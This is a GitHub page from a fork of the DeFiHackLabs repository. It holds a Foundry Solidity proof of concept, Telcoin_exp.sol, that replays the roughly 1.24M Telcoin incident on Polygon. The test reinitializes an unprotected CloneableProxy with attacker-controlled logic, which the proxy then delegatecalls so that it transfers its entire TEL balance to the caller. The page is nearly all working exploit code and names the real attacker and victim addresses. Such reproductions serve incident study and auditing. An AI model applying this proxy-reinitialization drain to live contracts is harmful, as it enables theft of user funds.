forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathTelcoin_exp.sol
111 lines (99 loc) · 4.28 KB
/
Telcoin_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~1,24M
// Attacker : https://polygonscan.com/address/0xdb4b84f0e601e40a02b54497f26e03ef33f3a5b7
// Vulnerable Contract : https://polygonscan.com/address/0x56bcadff30680ebb540a84d75c182a5dc61981c0
// Attack Tx (CloneableProxy#1) : https://phalcon.blocksec.com/explorer/tx/polygon/0x35f50851c3b754b4565dc3e69af8f9bdb6555edecc84cf0badf8c1e8141d902d
// @Analysis
// https://blocksec.com/phalcon/blog/telcoin-security-incident-in-depth-analysis
// https://hacked.slowmist.io/?c=&page=2
interface ICloneableProxy {
function initialize(address _logic, bytes memory data) external;
}
contract ContractTest is Test {
// CloneableProxy#1 created and 'initialized' at tx:
// https://phalcon.blocksec.com/explorer/tx/polygon/0x1a31cb6f417d30fe8769328b3412bfb0d70247a82009ef28dfab5730c82acd05
ICloneableProxy private constant CloneableProxy =
ICloneableProxy(0x56BCADff30680EBB540a84D75c182A5dC61981C0);
IERC20 private constant TEL =
IERC20(0xdF7837DE1F2Fa4631D716CF2502f8b230F1dcc32);
function setUp() public {
vm.createSelectFork("polygon", 51546495);
vm.label(address(CloneableProxy), "CloneableProxy#1");
vm.label(address(TEL), "TEL");
}
function testExploit() public {
emit log_named_decimal_uint(
"Attacker TEL balance before exploit",
TEL.balanceOf(address(this)),
TEL.decimals()
);
bytes32 cloneableProxyPackedSlot0 = vm.load(
address(CloneableProxy),
bytes32(uint256(0))
);
console.log(
"----------------------------------------------------------------"
);
emit log_named_bytes32(
"CloneableProxy#1 storage packed slot 0 contents before exploit and reinitialization",
cloneableProxyPackedSlot0
);
console.log(
"----------------------------------------------------------------"
);
console.log(
"CloneableProxy#1 storage packed slot 0 contents before exploit and reinitialization (two least significant bytes): uint8 _initializing: %s, bool _initialized: %s",
uint8(cloneableProxyPackedSlot0[30]),
uint8(cloneableProxyPackedSlot0[31])
);
console.log(
"----------------------------------------------------------------"
);
console.log("---Exploit Time---");
bytes memory data = abi.encodePacked(
this.transferTELFromCloneableProxy.selector
);
CloneableProxy.initialize(address(this), data);
cloneableProxyPackedSlot0 = vm.load(
address(CloneableProxy),
bytes32(uint256(0))
);
console.log(
"----------------------------------------------------------------"
);
emit log_named_bytes32(
"CloneableProxy#1 storage packed slot 0 contents after exploit and reinitialization",
cloneableProxyPackedSlot0
);
console.log(
"----------------------------------------------------------------"
);
console.log(
"CloneableProxy#1 storage packed slot 0 contents after exploit and reinitialization (two least significant bytes): uint8 _initializing: %s, bool _initialized: %s",
uint8(cloneableProxyPackedSlot0[30]),
uint8(cloneableProxyPackedSlot0[31])
);
console.log(
"----------------------------------------------------------------"
);
emit log_named_decimal_uint(
"Attacker TEL balance after exploit",
TEL.balanceOf(address(this)),
TEL.decimals()
);
// Sanity test after exploit
vm.expectRevert("Initializable: contract is already initialized");
CloneableProxy.initialize(address(this), "");
}
function implementation() external view returns (address) {
return address(this);
}
// Function will be delegatecalled from CloneableProxy#1
// Transfer only TEL because victim proxy doesn't have LINK balance
function transferTELFromCloneableProxy() external {
TEL.transfer(msg.sender, TEL.balanceOf(address(CloneableProxy)));
}
}